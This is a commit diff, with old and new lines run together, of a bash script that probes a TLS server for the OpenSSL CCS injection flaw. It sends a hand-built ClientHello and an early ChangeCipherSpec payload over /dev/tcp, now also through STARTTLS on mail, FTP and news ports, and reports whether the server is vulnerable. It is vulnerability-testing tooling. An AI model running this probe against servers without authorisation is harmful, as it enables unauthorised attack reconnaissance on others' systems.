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- echo host:port

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Dirk 2015-07-01 19:48:33 +02:00
parent d44cff9a81
commit 39a0da31e5
1 changed files with 154 additions and 63 deletions
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217
utils/ccs-injection.bash
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@ -10,36 +10,42 @@
# #
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### ###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
NODE="" readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
trap "cleanup" QUIT EXIT
[ -z "$1" ] && exit 1
NODE="$1"
PORT="443"
SLEEP=2 SLEEP=2
MAXSLEEP=10
OCKREPLY=""
COL_WIDTH=32
DEBUG=${DEBUG:-0} DEBUG=${DEBUG:-0}
[ -z "$1" ] && exit 1 # host TLSV=${2:-01}
TLSV=${2:-x01}
# TLS 1.0=x01 1.1=0x02, 1.2=0x3 # TLS 1.0=x01 1.1=0x02, 1.2=0x3
# the PoC contains per default only check for TLS1.0 as the is the least common denominator # the PoC contains per default only check for TLS1.0 as the is the least common denominator
ccs_message="\x14\x03\tls_version\x00\x01\x01" ccs_message="\x14\x03\x$TLSV\x00\x01\x01"
## ^^^^^^^ this is the thing!
client_hello=" client_hello="
# TLS header ( 5 bytes) # TLS header ( 5 bytes)
,x16, # Content type (x16 for handshake) ,x16, # Content type (x16 for handshake)
x03, tls_version, # TLS Version x03, x$TLSV, # TLS Version
x00, x93, # Length total x00, x93, # Length total
# Handshake header # Handshake header
x01, # Type (x01 for ClientHello) x01, # Type (x01 for ClientHello)
x00, x00, x8f, # Length client hello x00, x00, x8f, # Length client hello
x03, tls_version, # TLS Version x03, x$TLSV, # TLS Version
x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes
xf5, xa3, x89, xca, x7a, xd9, xb4, xab, xf5, xa3, x89, xca, x7a, xd9, xb4, xab,
x3f, xd3, x22, x21, x5e, xc4, x65, x0d, x3f, xd3, x22, x21, x5e, xc4, x65, x0d,
x1e, xce, xed, xc2, x1e, xce, xed, xc2,
x00, # Session ID length x00, # Session ID length
x00, x68, # Cipher suites length x00, x68, # Cipher suites length
xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
xc0, x12, xc0, x12,
xc0, x11, xc0, x11,
xc0, x10, xc0, x10,
@ -93,102 +99,187 @@ x00, x68, # Cipher suites length
x00, x01, # TLS_RSA_WITH_NULL_MD5 x00, x01, # TLS_RSA_WITH_NULL_MD5
x01, x00" # compression methods length (1) + Compression method(1) x01, x00" # compression methods length (1) + Compression method(1)
msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` #msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
parse_hn_port() { parse_hn_port() {
PORT=443 # unless otherwise auto-determined, see below # strip "https", supposed it was supplied additionally
NODE="$1" echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
# strip "https", supposed it was supplied additionally # strip trailing urlpath
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` NODE=`echo $NODE | sed -e 's/\/.*$//'`
# strip trailing urlpath # determine port, supposed it was supplied additionally
NODE=`echo $NODE | sed -e 's/\/.*$//'` echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
echo -e "\n===> connecting to $NODE:$PORT\n"
# determine port, supposed it was supplied additionally
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
's/\:.*$//'`
} }
wait_kill(){
pid=$1
maxsleep=$2
while true; do
if ! ps $pid >/dev/null ; then
return 0 # didn't reach maxsleep yet
fi
sleep 1
maxsleep=$((maxsleep - 1))
test $maxsleep -eq 0 && break
done # needs to be killed:
kill $pid >&2 2>/dev/null
wait $pid 2>/dev/null
return 3 # killed
}
socksend() { socksend() {
data=`echo $1 | sed 's/tls_version/'"$2"'/g'` data=`echo $1`
echo "\"$data\"" echo "\"$data\""
echo -en "$data" >&5 || return 1 echo -en "$data" >&5 &
sleep $SLEEP sleep $SLEEP
return 0
} }
sockread() sockread() {
{ [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
reply=`dd bs=$1 count=1 <&5 2>/dev/null` ret=0
ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
wait_kill $! $maxsleep
ret=$?
SOCKREPLY=$(cat $ddreply)
rm $ddreply
return $ret
} }
ok_ids(){ # arg1: string to send
echo # arg2: success string, yet to be parsed
tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0 starttls_line0() {
echo echo "$1" >&5
exit 0 cat <&5 &
wait_kill $! $SLEEP
#[ $? -eq 3 ] && fixme "STARTTLS timed out" && exit 1
}
ok_ids() {
echo
tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0
echo
exit 0
}
fd_socket(){
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "`basename $0`: unable to connect to $NODE:$PORT"
exit 2
fi
case "$1" in # port
21) # https://tools.ietf.org/html/rfc4217
starttls_line0 "FEAT"
starttls_line0 "AUTH TLS"
;;
25) #https://tools.ietf.org/html/rfc4217
starttls_line0 "EHLO testssl.sh" "250"
starttls_line0 "STARTTLS" "220"
;;
110) # https://tools.ietf.org/html/rfc2595
starttls_line0 "STLS" "OK"
;;
119|433) # https://tools.ietf.org/html/rfc4642
starttls_line0 "CAPABILITIES" "101"
starttls_line0 "STARTTLS" "382"
;;
143) # https://tools.ietf.org/html/rfc2595
starttls_line0 "a001 CAPABILITY" "OK"
starttls_line0 "a002 STARTTLS" "OK"
;;
389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
fixme "LDAP: FIXME not yet implemented"
exit 1
;;
674) # https://tools.ietf.org/html/rfc2595
fixme "ACAP: FIXME not yet implemented"
exit 1
;;
5222)
starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
fixme "XMPP: FIXME not yet implemented"
;;
443|995|993|465|*) # we don't need a special command here
;;
esac
echo
}
close_socket(){
exec 5<&-
exec 5>&-
return 0
}
cleanup() {
close_socket
} }
#### main #### main
parse_hn_port "$1" parse_hn_port
fd_socket $PORT
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "`basename $0`: unable to connect to $NODE:$PORT"
exit 2
fi
# socket is now open with fd 5
echo "##### sending client hello:" echo "##### sending standard client hello with TLS version 03,$TLSV:"
socksend "$msg" $TLSV socksend "$msg" $TLSV
sleep 1 sleep 1
sockread 10000 sockread 16384
echo -e "\n##### server hello\c" echo "##### reading server hello:"
if test $DEBUG ; then if test $DEBUG ; then
echo ":" echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
echo -e "$reply" | xxd -c32 | head -20 echo "[...]"
echo "[...]" echo
echo fi
if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
exit 1
fi fi
echo "##### sending ccs injection with TLS version $TLSV:"
echo "##### sending ccs injection payload with TLS version 03,$TLSV (1)"
socksend "$ccs_message" $TLSV || ok_ids socksend "$ccs_message" $TLSV || ok_ids
sleep 1 sleep 1
echo "##### sending ccs injection payload with TLS version 03,$TLSV (2)"
socksend "$ccs_message" $TLSV || ok_ids socksend "$ccs_message" $TLSV || ok_ids
sleep 1 sleep 1
sockread 65534 sockread 65534
echo echo
echo "###### reply: " echo "###### reply: "
echo -e "$reply" | xxd -c32 echo "============================="
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
echo "============================="
echo echo
reply_sanitized=`echo -e "$reply" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//'` reply_sanitized=$(echo -e "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//')
test $DEBUG || echo $reply_sanitized test $DEBUG || echo $reply_sanitized
lines=`echo -e "$reply" | xxd -c32 | wc -l` lines=$(echo -e "$SOCKREPLY" | xxd -c32 | wc -l)
test $DEBUG || echo $lines test $DEBUG || echo $lines
if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then
tput bold; tput setaf 2; echo "ok"; tput sgr0 tput bold; tput setaf 2; echo "ok"; tput sgr0
ret=0 ret=0
else else
tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
ret=1 ret=1
fi fi
# closing fd:
exec 5<&-
exec 5>&-
echo echo
exit $ret exit $ret
# vim:tw=100:ts=5:sw=5:expandtab
# vim:tw=100:ts=5:sw=5 # $Id: ccs-injection.bash,v 1.7 2015/07/01 17:48:00 dirkw Exp $
# $Id: ccs-injection.sh,v 1.5 2014/11/03 20:45:47 dirkw Exp $